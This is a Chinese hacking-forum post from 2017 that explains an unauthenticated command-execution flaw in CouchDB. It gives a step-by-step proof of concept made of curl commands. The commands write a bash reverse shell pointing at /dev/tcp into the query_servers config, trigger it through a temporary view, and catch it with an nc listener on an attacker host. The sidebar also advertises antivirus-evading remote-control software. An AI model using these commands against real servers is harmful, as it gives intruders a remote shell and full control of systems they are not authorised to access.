HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: @w=无名
查看: 212|回复: 0

more +随机图赏Gallery

2017年中旬WEB渗透系列课程-19文件包含与目录遍历2017年中旬WEB渗透系列课程-19文件包含与目录遍历
2017年中旬WEB渗透系列课程-18上传绕过方法演示2017年中旬WEB渗透系列课程-18上传绕过方法演示
2017年中旬WEB渗透系列课程-17了解上传检测方式2017年中旬WEB渗透系列课程-17了解上传检测方式
2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
HACK80远控 免杀的 账号密码打包 每天都发账号 回帖要。可改密码!HACK80远控 免杀的 账号密码打包 每天都发账号 回帖要。可改密码!
2017年中旬WEB渗透系列课程-16解析漏洞演示2017年中旬WEB渗透系列课程-16解析漏洞演示
2017年中旬WEB渗透系列课程-15XSS绕过集合2017年中旬WEB渗透系列课程-15XSS绕过集合
2017年中旬WEB渗透系列课程-14XSS能干什么2017年中旬WEB渗透系列课程-14XSS能干什么
2017年中旬WEB渗透系列课程-13XSS漏洞检测2017年中旬WEB渗透系列课程-13XSS漏洞检测
2017年中旬WEB渗透系列课程-12XSS分析及演示2017年中旬WEB渗透系列课程-12XSS分析及演示

CouchDB未授权访问导致执行任意系统命令漏洞

[复制链接]
@w=无名 发表于 2017-10-12 14:01:46 | 显示全部楼层 |阅读模式
查看: 212|回复: 0
详情
CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。
那么,问题出在哪呢?翻阅官方描述会发现,CouchDB中有一个Query_Server的配置项,在官方文档中是这么描述的:
CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.
直白点说,就是CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理,query_server在配置文件local.ini中的格式:
[size=1em]
[size=1em][size=1em][query_servers]
[size=1em]LANGUAGE = PATH ARGS



默认情况下,配置文件中已经设置了两个query_servers:
[size=1em]
[size=1em][size=1em][query_servers]
[size=1em]javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
[size=1em]coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js



可以看到,CouchDB在query_server中引入了外部的二进制程序来执行命令,如果我们可以更改这个配置,那么就可以利用数据库来执行命令了,但是这个配置是在local.ini文件中的,如何控制呢?
继续读官方的文档,发现了一个有意思的功能,CouchDB提供了一个API接口用来更改自身的配置,并把修改后的结果保存到配置文件中:
The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance
也就是说,除了local.ini的配置文件,CouchDB允许通过自身提供的Restful API接口动态修改配置属性。结合以上两点,我们可以通过一个未授权访问的CouchDB,通过修改其query_server配置,来执行系统命令。
测试环境
Linux ip:115.159.150.*  (外网服务器)  监听端口:1231
利用对象:
Linux 112.126.64.*:5984

利用POC:
1.新增query_server配置,这里执行反弹命令
curl -X PUT 'http://112.126.64.*:5984/_config/query_servers/merver' -d '"bash -i >& /dev/tcp/115.159.150.*/1231 0>&1"'
// _config/query_servers/ 固定
// merver 可改
2.新建一个临时表,插入一条记录
curl -X PUT 'http://112.126.64.*:5984/vulteste'
curl -X PUT 'http://112.126.64.*:5984/vulteste/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
//vulteste 以及vul可改
3.调用query_server处理数据
curl -X POST 'http://112.126.64.*:5984/vulteste/_temp_view?limit=11' -d '{"language":"merver","map":""}' -H 'Content-Type: application/json'
4.使用外网服务器监听端口
Nc -lvv 1231
反弹shell:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-12-17 12:11 , Processed in 0.063292 second(s), 26 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.